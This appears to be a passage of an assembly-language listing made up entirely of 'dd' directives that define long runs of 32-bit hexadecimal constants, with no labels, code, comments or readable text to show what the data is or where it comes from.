		dd 41CCC0F8h, 1C5C0077h, 0D7948755h, 0A8EA3EC0h, 1D00A3B0h
		dd 44DE07E7h, 0E5C9AFCh, 0BA6BFA8Fh, 27088960h,	4100B959h
		dd 6D80E07h, 7E8DDF3h, 9B93A41Bh, 0DB10E0B3h, 985058B6h
		dd 7575362Ch, 6CF73400h, 0E8FF53A9h, 0F85C0093h, 2BC1331Dh
		dd 9007F537h, 0BF625A34h, 0BC3E470Fh, 4CF904F0h, 2D4400D5h
		dd 0D88682DAh, 3500AC75h, 0D120840Ah, 18467AB9h, 39DFC19Dh
		dd 7F48B2E7h, 5A007D31h, 64C0702Ah, 0A38747h, 39274BCFh
		dd 79986108h, 0F2A0A860h, 744784h, 1D1F8D46h, 448C5076h
		dd 5F024E1Ch, 3E00C8E8h, 1C4182EAh, 17DF2Fh, 70BBBEFFh
		dd 32F1B7A8h, 25ABD726h, 89EA5C0Ch, 8C7D0087h, 56D9C337h
		dd 3C002BFEh, 0A370B2D5h, 0D1DBD2h, 9C80BBC1h, 0F1E16D46h
		dd 0EB07F875h, 80FAD7Ch, 2590D870h, 0E79B0074h,	381C15D0h
		dd 450172C5h, 0CA06E43Ch, 56D4FCB9h, 66D67084h,	210E087Fh
		dd 0FCF8E338h, 0F9FD8700h, 7D0DD1A7h, 3A691ED0h, 1FF4C073h
		dd 5BA652EBh, 1EC2FF00h, 72C49FBFh, 736733Fh, 126444A8h
		dd 693C40ACh, 9FF82A4Ch, 18CE9700h, 0DCDEC154h,	17CC00C9h
		dd 1A811CB9h, 0CA006E6Ah, 168ACE1Fh, 60CBDCF4h,	59A69169h
		dd 0FC018264h, 6CDEEA48h, 2080D9FEh, 0A6C2EF1Ah, 0C8168B44h
		dd 6200CE52h, 0BB9E31C9h, 0FC780066h, 7FDE6C76h, 4F007A87h
		dd 3F732E6Fh, 147E6D89h, 90CA3EE5h, 18A0EE1Fh, 4AA10ECh
		dd 0AEADA700h, 0C0DAF5C2h, 394F3DCCh, 405A16h, 46ABEC50h
		dd 573F66D1h, 87E7BC65h, 5F6E03DBh, 0ED8CFEA0h,	1DEE2B6h
		dd 0B3559896h, 0F0446F3Ch, 0B017153h, 0AD24C16Ah, 60EC22FEh
		dd 0BE3E0029h, 58CE0CD0h, 9D008EF1h, 0CAA15BFDh, 0B09692h
		dd 49F3D1CDh, 1C6F1E98h, 0EFC18007h, 5E70B385h,	6528DBh
		dd 0B5A791A8h, 98AA49B9h, 10747F0h, 0A30F4BD9h,	9A18CD4Ah
		dd 0CFAE7908h, 0D8E3C820h, 0E5C82322h, 0D56119F3h, 4DE36650h
		dd 0C098A570h, 1EAB2728h, 0E900B6FAh, 813571BCh, 0F099B61h
		dd 0F96C557Ah, 471849A0h, 12307E93h, 91C061D7h,	75810063h
		dd 39EEBCFh, 2D0348CCh,	58167A01h, 5D27C0FCh, 0BB23488Eh
		dd 0D5AB2800h, 7471CD57h, 44A25E00h, 0E1956F4Ch, 95D0ECFh
		dd 0B7E0CA41h, 605CF368h, 49DCBE00h, 0DB4394DEh, 0E45F1C80h
		dd 0A4B74057h
		dd 0D7C05E41h, 0EDE8B97Eh, 4836A300h, 210C45CFh, 0FD87E8D0h
		dd 0AF822080h, 301441EDh, 27D10D00h, 0F5E2D347h, 58EC0068h
		dd 7F2BEFE4h, 9A0B6E61h, 1F5380h, 0F7C0642Ch, 5B203BA2h
		dd 7C01523Ah, 85416140h, 0C0A860F8h, 1E4C7400h,	58128708h
		dd 0E7C600BCh, 65A697A9h, 290EA142h, 0E0718C8Dh, 0D7BEFB5Bh
		dd 787700EEh, 0A0C66F7Bh, 0E50D0129h, 50B76556h, 0EC918E20h
		dd 0E66858DFh, 870E040Ch, 930F6E20h, 846C81FFh,	0E4C094B4h
		dd 0C0707468h, 7ED9D7A8h, 0B80028B2h, 0CD18DB8Ch, 7E776E60h
		dd 0DCD3002Eh, 66B6E7F7h, 5C0061A3h, 0E8DB1867h, 9026D2h
		dd 0CE7975A9h, 0FCE04465h, 749E4700h, 0BA7F4B2Fh, 33E80768h
		dd 0F0DA6AFEh, 7CE44A6Bh, 5B1F781Dh, 4592A500h,	83065Fh
		dd 604F35EDh, 0E56A836h, 2A0BD1F4h, 7CA1E60Ch, 0F3860038h
		dd 376A7950h, 0BEF8F00h, 754A23CAh, 5A0100AAh, 6BDFAC38h
		dd 0C9729BA3h, 7CA92012h, 53ED2F00h, 783086FDh,	24D700E9h
		dd 0CBCC934h, 0D200DBDFh, 0F0F26F27h, 8065A0h, 3C8F573h
		dd 90A1785h, 0CCD02A1Fh, 69402744h, 89FDDEC0h, 2080633Dh
		dd 1D90F46Fh, 780C93EBh, 187ED8A0h, 7273008Ch, 0BC186441h
		dd 800FA51h, 0EED1D21Dh, 31FC36h, 0F6197029h, 0D7011779h
		dd 35764300h, 44E937C1h, 0D8140068h, 0B80A3B42h, 100C8712h
		dd 7834F3A2h, 650200B2h, 0B70C1AA0h, 9500C33Fh,	0BE270F0Bh
		dd 4C5337B5h, 1A01876Ch, 0C4A08248h, 0A6880E9h,	0A2CB5C43h
		dd 0E9D7E8FAh, 8F61ECh,	0D54986A4h, 3C8BD8C0h, 44731700h
		dd 0E0B52B48h, 0E4AB00F1h, 0D8E7745Fh, 70F78AAh, 80F39756h
		dd 6561F010h, 0FF800CAh, 0CECC8AE5h, 9C0038B3h,	7D4A7BEDh
		dd 0C7A5BCh, 0F4750C41h, 67F83445h, 0D3008C72h,	0C2D283E8h
		dd 9D377Bh, 0EB885BF5h,	65699020h, 928C0B5h, 972B1EF9h
		dd 0DD13006Dh, 20764C19h, 0ED650703h, 0B64C8F7h, 5FF90568h
		dd 7ED38800h, 657C668Bh, 94CC1700h, 0B17674BAh,	7C7B13F9h
		dd 0A93F00FEh, 0E8E61F42h, 0CAE55A00h, 3EC4BFFFh, 24677AA1h
		dd 0BE0138h, 72FE98C1h,	56003B62h, 0E0202BCBh, 4B3973h
		dd 0F1066C2Fh, 0AFB8E29Ch, 0C7DBB000h, 6B1ABB98h, 32690080h
		dd 83202467h, 5F006406h, 9789101h, 3C6A9F76h, 68812377h
		dd 628EE408h, 51418CD9h, 47798Dh, 39AF5BD0h, 98E2575h
		dd 387C1800h, 570CC562h, 0A81E00D8h, 0E6805F37h, 0C987B3Ch
		dd 2CCCE3Ah, 7C3B8AD9h,	0FC94E0F0h, 0E1111FC7h,	3213077Eh
		dd 22F820BFh, 0CA4CA9D3h, 68FD0074h, 0DDFC8A24h, 500A00C6h
		dd 2A5286B7h, 55001D59h, 6D56CEFh, 1F89D151h, 5ACEA5h
		dd 0F3C90E5h, 3B00F0A9h, 9C418B54h, 78CE11D7h, 46AF0FB6h
		dd 0C6212787h, 20785FC4h, 8400C972h, 0FADF5641h, 3CC7DBAh
		dd 8D0B758Ah, 0EBB82E4Fh, 0C5003153h, 1BC459E7h, 2D9EA1h
		dd 0B27871E9h, 0B54B18F0h, 57AF4F00h, 2355424Dh, 0B7C1E53h
		dd 9F215D54h, 21495804h, 3F035D6Dh, 72971596h, 8373C075h
		dd 0AEA207BEh, 20A0D757h, 7844B0BAh, 8AFD5F00h,	4F3751EEh
		dd 0C2F5308Eh, 1475ED29h, 0C50CBD00h, 6E46317Ch, 0C0F0E87Eh
		dd 2BB79221h, 6B0184C4h, 1986FFAAh, 20F2FEE0h, 787B7169h
		dd 0BD610F00h, 58CC58Dh, 7E150A17h, 3A8DD5CEh, 1D3B3C86h
		dd 39CCE841h, 43BCF04Dh, 3DC4019Fh, 55E37C48h, 8488770Ch
		dd 12237470h, 1993BF9h,	0A4EC0BFCh, 3F219371h, 7D39E00h
		dd 30CFBh, 8A8043F5h, 0E3CB9A58h, 0A5C67D00h, 5F5741BDh
		dd 70590054h, 0FFA24D5Dh, 0B000E671h, 0EDB92297h, 0F26C3D78h
		dd 31B40EFDh, 92A02E5Ch, 4D30014Fh, 7899B10Ch, 77C8BCh
		dd 9FE96268h, 0C713D498h, 7908FC66h, 3847B21h, 30AD1B61h
		dd 85E0B9EDh, 59F801D8h, 5F3F8E98h, 526070C4h, 358BEF88h
		dd 1D8A246h, 418AA4D4h,	28E154E5h, 0F0D66A30h, 3DE8DEh
		dd 2FEDDA7Eh, 52E4FA05h, 6BAFAE19h, 0EECC59E2h,	0A8DA0090h
		dd 1A5DF446h, 0E607A18Bh, 6EFB2B75h, 4AAC7230h,	4980215h
		dd 7D901653h, 19315BE0h, 9E34FA2Ch, 0CA715400h,	747801FCh
		dd 0FD6E1DE3h, 64DF2Bh,	1F166A48h, 283F8BD2h, 17549FC4h
		dd 1C463CFDh, 7C406E94h, 89A90647h, 0DDE6D4h, 73B6C4E7h
		dd 9F2C418Eh, 0CF9C3Ch,	42C0BC85h, 0E716A45h, 8BD35519h
		dd 7F2C79A0h, 0C528A69Ah, 0B8CEAC38h, 0C500066h, 5E23DAh
		dd 16DD9586h, 0DE376552h, 6FE9B501h, 0B47E58E6h, 3E2FECh
		dd 5EC2E26h, 5D017281h,	0E348D160h, 0A9497CCh, 0DC57B50Ah
		dd 2DFC0FA7h, 0C5467120h, 0C2A04FB6h, 0F1006C14h, 9B970629h
		dd 0A01CF5EDh, 7767A90h, 0E2D475F7h, 4B406F61h,	0DF5CBD43h
		dd 0FBC23500h, 0ED5523D5h, 19F839F1h, 3F292A00h, 0FD43860Bh
		dd 0E135803Ch, 72541840h, 0F8DB80D3h, 3A400AAh,	7B0D0E42h
		dd 0F304C83h, 0D93528C9h, 1E5F204h, 1C9BF0FCh, 0C43A78D3h
		dd 0C015FD2h, 0D68B02C8h, 3080C21Bh, 66B3F273h,	0FC0FF809h
		dd 93F035C0h, 0B46B8C00h, 5C492FC4h, 0EB07845Dh, 0A381EE0Dh
		dd 1800C605h, 0D42923B5h, 11B34257h, 0CB79E3h, 17620ADAh
		dd 0E93A9EEh, 372AFDD0h, 0EAE65163h, 0ADDCD2E8h, 0E445C50Fh
		dd 0A2310195h, 408390FBh, 0F98EF006h, 4F6A8800h, 82176526h
		dd 29630F7Fh, 53C1914Ah, 0E00C551Eh, 6B006689h,	988AAFF2h
		dd 674E4Bh, 65B4402Eh, 3CCDD3D5h, 37D71C00h, 5D47327Eh
		dd 88AD0006h, 0E50921DCh, 64005B16h, 5A9720FEh,	4A4814h
		dd 5783618Dh, 1327912Bh, 52173Eh, 81DF1AF8h, 982FB789h
		dd 727609h, 405B06B1h, 0F6E9B347h, 0BAC5FB00h, 0AD74497Bh
		dd 284B00EAh, 1C7D16BDh, 0F370C836h, 0FA5BC400h, 0B2492C27h
		dd 78661D1Bh, 92A40FCBh, 0F53F55A0h, 2600B391h,	0CD62D068h
		dd 3C3595h, 939FF2Bh, 0C1B26593h, 4C0FBBB0h, 60AA7A7Ch
		dd 42F63028h, 32CEE80h,	0B4ED32DDh, 90C80E83h, 98A29A35h
		dd 0D6418020h, 2201E78Fh, 68F243B8h, 5CF0052Ch,	4D4203ACh
		dd 32647F86h, 0A30031B6h, 0FE21D9F5h, 491F68h, 0F640E2FBh
		dd 7A19502Fh, 6360AF74h, 628F8840h, 0A6F3A0B4h,	0EB31D38h
		dd 0D70400C1h, 45A28322h, 1E0092B8h, 5C55CDDh, 1FA73DC3h
		dd 802E1ADEh, 0D0B2AE4Eh, 58F67E4Bh, 2CC42601h,	2542BB53h
		dd 39B754D0h, 601D33B6h, 5831431Eh, 7EE0D95Eh, 860F11ABh
		dd 1F12AAFh, 33D770C3h,	0AD314080h, 4BD21D66h, 0DF6FAC1Bh
		dd 7D13E030h, 4F330081h, 0D2FDB79Bh, 0E517F35Eh, 0AD0FDE87h
		dd 284200FBh, 694BC5h, 0F28B7C99h, 3635251Eh, 0A43F5A15h
		dd 52EF052Ch, 0BECCB2h,	5A9C26DFh, 0F619DA08h, 0CB997E91h
		dd 0C2D370h, 0C5D7F219h, 7AA85B9Fh, 0E24091C3h,	2EF0037Bh
		dd 3D8671C3h, 13A01800h, 15AC2D3h, 2AE91C1Ah, 5428F0C0h
		dd 0B902F169h, 0EE1E7DDBh, 9C98AE25h, 1F5A5B00h, 0E5D2E7h
		dd 8D6B17CBh, 0D684F1DEh, 35C4F300h, 33BB9302h,	0E07CC0h
		dd 94A61B7Ch, 71652F1Ah, 3A2AC401h, 0CB925B31h,	68F82450h
		dd 0B3F10CE6h, 414CA7C4h, 0BBFE8679h, 0E234C8C6h, 0AE000D1h
		dd 0B481B743h, 53BC207h, 845E83B9h, 8018BE66h, 0A02C120Dh
		dd 1E0BFDA0h, 1CBF756h,	0F292B060h, 5BD0F3D1h, 7E3C4A3Bh
		dd 0BCE20052h, 5A096AF5h, 2F051E40h, 1C52CF2h, 8D5331D8h
		dd 3724F87Dh, 47110D0Bh, 73E0003Ah, 3AF0F96h, 0E89E6E45h
		dd 60F3691Eh, 8DF2EA00h
		dd 425B21AEh, 599F07FDh, 0C030F00Ch, 640E4EBDh,	0CA5DDA0Eh
		dd 6D46C145h, 1E5B7AFh,	63719FE0h, 4FA068EAh, 2C4889B2h
		dd 0AD604CC4h, 6D1353C8h, 0C9D100F8h, 2881AA9Ah, 0FFEE9698h
		dd 0EFAF3509h, 4F64019Dh, 0EC401C62h, 1DD2A075h, 6C2631h
		dd 771DC4C6h, 50072CE6h, 0FE2380F4h, 0A83C9703h, 2ECDEBA3h
		dd 950731h, 0BE6B2620h,	4A00E9E8h, 8EEFE254h, 24C88Dh
		dd 0C36232B9h, 921455E1h, 0BF67D100h, 5E4BF1D5h, 7B702C9Bh
		dd 0EBC200B7h, 95D405AFh, 0A95814F0h, 0AD170036h, 0FAB412A6h
		dd 0CC8B07F3h, 0F026D210h, 83272F2Eh, 97BE9A00h, 0AC12FE61h
		dd 0B2470017h, 1040C6F4h, 88A0C3B7h, 9C000C6Ch,	0CEABBCA7h
		dd 33982FDh, 6EEC6A6Fh,	0F2F885A0h, 18FE9AC8h, 114C2600h
		dd 75660229h, 0CDDA0E13h, 0E4C3ACBEh, 0D1C08CDBh, 30704A82h
		dd 7A94C601h, 0B95A585Ch, 0F1ECE3DBh, 10801609h, 0A6B8E1B4h
		dd 0FC001DA1h, 8964E2BBh, 202F08h, 0C97FAC9h, 50032D28h
		dd 0CD00DD74h, 15127EECh, 0D91805h, 5C58A3D1h, 0DECC6831h
		dd 80D28A07h, 0B5F03BDDh, 9D16AEh, 344E6FB1h, 71875213h
		dd 4109CC2Ch, 804AF600h, 0DA17A9h, 67734DCBh, 0E4D419FDh
		dd 3A23348h, 930E55D3h,	1438E0D2h, 30B561C5h, 0CC29A6DFh
		dd 8CF40668h, 1CCBF02Ch, 0A472EA00h, 667F80h, 2BE4350Ch
		dd 14BAB19h, 0A5E48BB8h, 6DB12700h, 4F4E4DAEh, 0F1C41DB2h
		dd 8A4480C2h, 8B01CC32h, 8C888500h, 7778F7CEh, 0D79B0007h
		dd 31A66B44h, 0CB030363h, 7BC3F1B1h, 1B51D8D9h,	3B8D00AFh
		dd 14311ED1h, 2FEC406Eh, 10D2D800h, 6781240Ch, 0B08A0047h
		dd 0C04A6D65h, 0CF073FF5h, 96CBD0FFh, 7B2FACA0h, 0E6920093h
		dd 6A7930DAh, 0BC00432Bh, 5132AEF7h, 8DB3D4h, 0C3CA17C1h
		dd 69B95EAFh, 9B125414h, 0FFCE00ADh, 0CBFA202Ah, 96DF019Ch
		dd 92EBC1AFh, 415424D8h, 91AC3C00h, 4C80F71Fh, 5AFA0FA2h
		dd 16806ACCh, 6D0BA79Eh, 1ADBA03h, 98CB55A6h, 0FA8D0Eh
		dd 0DC4D2FD3h, 0D542485Ch, 0C325E303h, 733CD968h, 43A816E8h
		dd 40F0144Dh, 972A0700h, 7E51D9AFh, 0C9FD3E00h,	0D0163B93h
		dd 0DF620011h, 0B1ECF0F1h, 0E40392D3h, 31841909h, 5C90976Dh
		dd 3E12458Ah, 5180C624h, 9278DEB9h, 200908C0h, 81359E77h
		dd 36E1ACDDh, 0EE8099F9h, 0C687093Ah, 223D758Ch, 0BECB3AC9h
		dd 67868015h, 2B453BF2h, 0AA7224E2h, 51AD0354h,	22D80DB8h
		dd 701DBAC2h, 9A00FA69h, 0B38EDE99h, 0BE6700AFh, 40C3FDD1h
		dd 2B004956h, 3A3F20Fh,	0EF4C71Ah, 929EB012h, 904DE5E0h
		dd 0AE0005B7h, 3E18FEADh, 4B094Fh, 93408E74h, 9A776EA5h
		dd 0B70D1D00h, 166657ABh, 0BEE803h, 0F8AAC7C1h,	0FE2646EDh
		dd 0D2E0C800h, 28F16AE6h, 0F6CD001Ch, 0AA45B133h, 0B6067ACEh
		dd 76D2BACCh, 997750h, 9FE59BFh, 6FE0AA39h, 0B184D300h
		dd 1DD23C3h, 401C0005h,	0E5A0870Bh, 0A3040D18h,	4D3178Ah
		dd 49B5E490h, 7A640002h, 0C0543A86h, 0C600F6D0h, 2A4EA5DBh
		dd 630AC5Eh, 0DE2E39AEh, 0B50054EFh, 9197C0B2h,	1C7223h
		dd 9EB7185Eh, 9D49587Ah, 3FBE7300h, 97D5A647h, 48510088h
		dd 6007AB31h, 4600187Dh, 78610F8Dh, 594E50h, 376DE3F6h
		dd 0C823731Bh, 0F4D2720Ah, 0D783D885h, 0B89267B7h, 725EA4B3h
		dd 34A70E01h, 1CC0CD46h, 0A6F861Eh, 0C1DEA600h,	481FEB22h
		dd 93910010h, 43CAB03Eh, 7F7C5407h, 157BDC18h, 2B15EF8h
		dd 9811D224h, 9440F716h, 8330FA0Fh, 0DE331EC5h,	0ECAC0E04h
		dd 8805836h, 7FFF2028h,	0A110A400h, 2146F53Bh, 0A58A0992h
		dd 0AC805C38h, 0DA416576h, 903EBC92h, 0BE840050h, 0B7349DADh
		dd 0A47D48C1h, 77C3D863h, 8C3D449Fh, 4F3CFE70h,	68B1243Eh
		dd 64ADDA07h, 6E66C5C0h, 7C4574BEh, 0EC38A830h,	0A2E600E4h
		dd 551AD088h, 18C02C96h, 945918D8h, 44FF0007h, 8B418349h
		dd 0AE7A5FE7h, 0D4667A00h, 0CFDF0B32h, 0EA840788h, 0C0AF4B20h
		dd 5F595087h, 0C305B413h, 0BF731200h, 1461DBD0h, 0D0C403B5h
		dd 0DA233600h, 6350D76Eh, 0AA7E761Ch, 0C3402040h, 0DBA760h
		dd 0EC59FB27h, 6CB7E3BCh, 0E5A95803h, 0F8C59E0Eh, 3C23C17h
		dd 0D5658851h, 55C8A6A8h, 4D1659DAh, 0E401A15Bh, 6D29A8Ch
		dd 58FCAC21h, 469E0BBCh, 0FE001B61h, 0DCF3D939h, 2BD52F0Fh
		dd 2D142007h, 120C34Dh,	1AFE42B9h, 0CE655251h, 0DB003046h
		dd 6B8F711Eh, 3A9E8C75h, 289ECBDh, 0EB8172BFh, 0E0561F5Eh
		dd 970073ACh, 0AB2345D7h, 1D559089h, 0EAFC07B7h, 257306A0h
		dd 30F5697Bh, 35AFE207h, 0E5404570h, 1381C57h, 0BB7DF940h
		dd 405DCD4Eh, 0DC7332E8h, 0E9945A03h, 0C8F286A4h, 4B633A7h
		dd 6A91DF9Fh, 1C87ABh, 488BA1CBh, 0C4C2AF04h, 0A4D0FEF0h
		dd 0FE542611h, 291092B3h, 7542CE0h, 5240E391h, 44003A0h
		dd 0EA24F73Bh, 80BE30C5h, 0AA4B6A54h, 74BBFF45h, 0DEC90066h
		dd 58C412A8h, 84002110h, 0E0EB0991h, 99AF4EA0h,	9A434E6Ch
		dd 0E6F8E1F4h, 93E2A13Bh, 6B04CC00h, 9D2DEDE7h,	0FF703Ch
		dd 0D9C011C8h, 77CDC98Bh, 0B7C65200h, 7B491419h, 7EA100CFh
		dd 4607606Dh, 6100DC8Ch, 713B5036h, 0F8E8D9F6h,	5C2BECEDh
		dd 200A5AFh, 325F7B6Bh,	9B002E49h, 26331EE7h, 90CAE631h
		dd 8A1A00FCh, 2C16F2DCh, 4B2FECCh, 7ABF4000h, 270E12FAh
		dd 28D34852h, 0CA797300h, 2561B29Ah, 691F3275h,	0DF8BDB07h
		dd 48280062h, 337EEDh, 5DA2D123h, 2268C59Ah, 4A305E00h
		dd 6FAB09F9h, 0C864285Ch, 43F043C4h, 2D5500E4h,	0B019EFF5h
		dd 271B005Ah, 0ACD24BDFh, 0BE006D3Eh, 35EEE88Bh, 728C0C13h
		dd 0BAB300C3h, 0B03FB7CFh, 914F1Fh, 7402EE16h, 0C52ABFh
		dd 9BCD2FEFh, 48E23Eh, 26450841h, 0AF9C3F6h, 0C589FF03h
		dd 4C3B8044h, 0DBB2BF76h, 3904800h, 9F93CBDEh, 0E77AC0C5h
		dd 914B4530h, 726D7303h, 8056EC86h, 241517Ah, 0E13AE4BBh
		dd 5C60AFA6h, 3038754h,	0F2995F7Eh, 0D5DEF8DBh,	129EF8E0h
		dd 534BF443h, 936C0588h, 60D0C771h, 9B2B322h, 74FB9F0Fh
		dd 5773E08Dh, 15D1D8h, 21DF110Fh, 0DB861879h, 0F100167Fh
		dd 0F3BCD641h, 8BBF6Ah,	4D577A9Dh, 79D7E3D2h, 0D8D34800h
		dd 0DD028CB5h, 19950034h, 171120Ah, 53B8133Ch, 5705CFFAh
		dd 0D4D39D20h, 0E081FB0Eh, 438BC834h, 0ECB8F867h, 9B4E1F84h
		dd 0B74F03C3h, 0C0094D37h, 251A98h, 3F169226h, 60AB09C6h
		dd 0AC0E738Dh, 600D8267h, 1F7EF21Dh, 0C6DB8E07h, 923359D3h
		dd 88D185EDh, 0C2273E6h, 0BC90F0D4h, 8E351300h,	0D75B4CBFh
		dd 4838EC5Dh, 95BB05D8h, 0D4900E27h, 75989Ah, 4F73BA43h
		dd 0A54B46CAh, 5FDC8200h, 78E6A8D2h, 80B0D7h, 5D9116A4h
		dd 0EDEC9A0Ah, 3981F117h, 880FA1B8h, 8C803794h,	0DF9317A9h
		dd 0C061DE00h, 7F77D6A5h, 7AF10366h, 544AC410h,	0E0027CE8h
		dd 1F0F7F2h, 9499D09h, 0EE4C988Ch, 41AB001Bh, 0CE541D8Dh
		dd 290B017Dh, 84A0E505h, 0BCD1E22Ch, 51C46FF9h,	64768Ah
		dd 15DB50C9h, 0A1395D54h, 5E2E0F01h, 319EFF8Eh,	0B4FCCCh
		dd 2FDE1590h, 59A25CCCh, 441FA600h, 0CBB1E34Ch,	0C4991FF0h
		dd 804700E8h, 895114FFh, 81EDA601h, 827CB41Bh, 7469FF70h
		dd 0F424F929h, 4C984C0Fh, 5F2E263Bh, 85530384h,	0B2E22021h
		dd 0F1C65C68h, 41ACA800h, 0DBBA22E3h, 0F0EA3A07h, 0BC37BE80h
		dd 0F5ABAFD0h, 0B90B5000h
		dd 4B0A8E22h, 2FD20764h, 3067012Dh, 4387DCE2h, 24200600h
		dd 3846CB72h, 45AD00E7h, 4D495EE6h, 41744091h, 8A8EA400h
		dd 7BE04BE4h, 0E626031Fh, 71C6D1CEh, 8E89FBD0h,	803A6700h
		dd 949B632Dh, 1729E85Ah, 0F00550h, 1A68950Bh, 0C11D02FFh
		dd 13803782h, 394EABD5h, 0F85D01FDh, 2906944Ch,	0B2C824E5h
		dd 0FE2DEC1Ch, 0F142300h, 95B7A09h, 0DD4212D1h,	594524C0h
		dd 0AA991C00h, 0E269E8C8h, 285B3FE5h, 633CF409h, 42C57C80h
		dd 903B8A8Fh, 3A106727h, 0A7754080h, 806807D0h,	0D03E7BA6h
		dd 0B181626Ah, 5B546C00h, 0D55E75FBh, 0F79800CEh, 8F3FA959h
		dd 3E302B9Fh, 4A088023h, 84C85017h, 285400B1h, 60FE8FFBh
		dd 190C9475h, 0A44006D5h, 8BE6B0h, 0ECC185EBh, 26087E21h
		dd 553A3E00h, 4C290E91h, 0A5DC00F0h, 0D5C2095h,	430BC64Eh
		dd 8096E2FCh, 28CFED47h, 5BF20068h, 0D8CB4F30h,	3C00B7D6h
		dd 0CA58561Ch, 0D73BA4h, 907B9757h, 0FFB24D9Bh,	1EF34F26h
		dd 0FC923300h, 0E7AB89h, 0D871D379h, 28905D37h,	0BC539800h
		dd 0E6959458h, 57930080h, 0DE2A01DBh, 6126B439h, 0A900C476h
		dd 9590C2Dh, 987C0057h,	0B45341BEh, 58246FBFh, 3400A6DCh
		dd 0EEBDC30Dh, 0B50C0B79h, 8D036E9Fh, 3DF833C2h, 0E03F7E88h
		dd 1A0700DCh, 0BD7A8566h, 77680096h, 7649BBBAh,	75002A2Bh
		dd 36DD59C0h, 28B5873Bh, 0B4C2E3h, 6A2DBA8Ch, 0E25619B0h
		dd 0EB40360Eh, 0A58B8B88h, 80EF03C8h, 839C6AD2h, 0C1CA600h
		dd 7A6721E5h, 0C8363BC5h, 0B7FC7700h, 0D49850B3h, 84AF2612h
		dd 0C240281Dh, 0B45D5386h, 5C7701C4h, 886A52CCh, 7208082h
		dd 3FBA80B9h, 0A781002Bh, 943217C8h, 0CD3C04CAh, 0B0520967h
		dd 0B1ACA035h, 3D24860h, 73E9F242h, 824C2F3h, 0FF802050h
		dd 0B7924B6Fh, 64DD0C2Fh, 7358DB45h, 3213A80Bh,	51A0A05Ch
		dd 98216Ch, 0E104C8B6h,	8981F46Bh, 24DB353Fh, 0DC804829h
		dd 0ADEBEEFFh, 0CC70002Eh, 8338097Bh, 8407CD11h, 0D7553235h
		dd 0F9582039h, 7C252E6Dh, 238A0314h, 83F51BC3h,	0E3F1D000h
		dd 0A1A2ADFDh, 43991ECCh, 153F808Ah, 19C1ED78h,	1C429E00h
		dd 7B56772h, 0DA1F008Eh, 924801A6h, 657EECA8h, 53B01B0Fh
		dd 0B905D3DCh, 8D05C75Ch, 0AD806EACh, 0F8243Bh,	3C641628h
		dd 0BA036794h, 0DE909100h, 0F3549E22h, 664300D8h, 0D9931497h
		dd 0C2008878h, 0F9990C1Fh, 33DCA39h, 4A0DB7Ah, 0D8B88902h
		dd 0CE60B85Fh, 38C0DDA0h, 0F1A10048h, 2590E73Bh, 177131EFh
		dd 685D4100h, 55564462h, 0B11900C7h, 0A1B6C2FCh, 42009B02h
		dd 7E4C7AF8h, 3E58D872h, 779C216Fh, 0EA43004Dh,	0DE5B13CBh
		dd 0D931D401h, 3971FCC5h, 4D7800DFh, 0BEF747E7h, 0B4009DC1h
		dd 0DDFBD0B6h, 7C5D9271h, 0FA18004Ch, 7D8E304Ah, 1B05A565h
		dd 0A0DADDA8h, 2C1C584h, 19F02190h, 604B1F1Ch, 6AAB803Fh
		dd 29EA7203h, 4D00B178h, 0AF133817h, 1E713D08h,	163E37CFh
		dd 6101EEDDh, 0F8DEF4E6h, 18C3E3E8h, 2034D2AFh,	0AC03127Eh
		dd 7DBFE184h, 61C0F883h, 3FA20023h, 3BABF8D5h, 0BD0E09F7h
		dd 80F1F585h, 71763E52h, 88116070h, 8D8B2D6h, 8AA3A700h
		dd 4AF9C4CFh, 6FA50C22h, 0B2693F6Ah, 7B27DE00h,	0DA50CD8Fh
		dd 12AB1C19h, 0AF34C05Dh, 0E6B6BB65h, 934A3Eh, 27BD0802h
		dd 797EB0Bh, 32FEA3A4h,	584E26B8h, 2925A902h, 0D5443D73h
		dd 35A2C160h, 0DAA7760Eh, 0C0378FE0h, 662223C6h, 2CF00081h
		dd 67B15D7Eh, 0A400E242h, 7BAB082Bh, 1499B5Ch, 3E246C2Fh
		dd 0F8CB4507h, 0F42C4671h, 4000D70Ah, 0B1168DC3h, 7AA70349h
		dd 0AF106AE0h, 9BBBE3B8h, 5E2BA500h, 472D771Bh,	37BD5802h
		dd 0D8A2D301h, 7B591778h, 3C56B0h, 2180A10h, 34A43753h
		dd 1446EC00h, 0C6DFB077h, 0F7614CFCh, 13BB507h,	37F710B3h
		dd 0D70E2385h, 60B76D1Ah, 7B946A87h, 2488005Fh,	0B22FE8BCh
		dd 0DB0E4868h, 0E71FE74Ch, 0D7C0E58Ah, 1B54344h, 0D57CAC1Eh
		dd 6B656CC9h, 0AEDF80C0h, 24A90333h, 89E5D056h,	8EF1D5C9h
		dd 0BD603F21h, 98F7BD00h, 6FA0FCh, 76B4B7B5h, 0C5FD822Dh
		dd 41FA2C1Eh, 0F3CB25C0h, 0E68794h, 0A37D6EEh, 53BD9503h
		dd 7435C001h, 0DD9192Ah, 0C34AE940h, 96793EA7h,	0DEF6409Ch
		dd 0A4C40066h, 67082D2Ah, 0D40C940Fh, 0F6C2A317h, 0B31DEDC9h
		dd 202ED80Dh, 10ECDFCDh, 3C200574h, 8151C7A0h, 8C6C0166h
		dd 0C9F76E71h, 28EE0008h, 0E367B293h, 0F0E90EB9h, 0A60037A5h
		dd 6192B16h, 30756B2Ah,	8161E9D0h, 0E860A9EEh, 45952040h
		dd 970E07BAh, 9EBB1298h, 877537C0h, 0F607F9F8h,	29393826h
		dd 7EFB13D0h, 8B0A0096h, 6B2FCE3Bh, 67297C58h, 8180BCD2h
		dd 14AADDAEh, 30D542DBh, 7C5D71B4h, 0A3840965h,	7E0034C3h
		dd 3CF7C5DBh, 0A25CB502h, 8038E017h, 0E2B151B0h, 0CA1A0094h
		dd 0E98B1284h, 0D00ED364h, 0C0882EFEh, 2373DBBFh, 0C5E50F60h
		dd 0DDE73C14h, 0FCECA0A8h, 43169869h, 100ED82h,	4917AB80h
		dd 8F1D035Ah, 92614D89h, 1F302000h, 1566F736h, 0EB2601A5h
		dd 54B4FBCCh, 4BABF814h, 0EA3BB200h, 805E084Eh,	38506316h
		dd 88A8F24Dh, 2033566h,	0EC85725Fh, 4929A060h, 289998ACh
		dd 877471h, 0FE8431A4h,	0CBBECAA5h, 4D83FB19h, 95D09880h
		dd 11AB6040h, 180B78E2h, 36300A03h, 18328557h, 204B3C08h
		dd 0B004E45h, 0FD0CB6E4h, 0E5C0E8h, 0B5DDD2CBh,	91ACFBD9h
		dd 80EB1207h, 4E438539h, 9AD01D11h, 0B5B286DFh,	0E1EEC84Bh
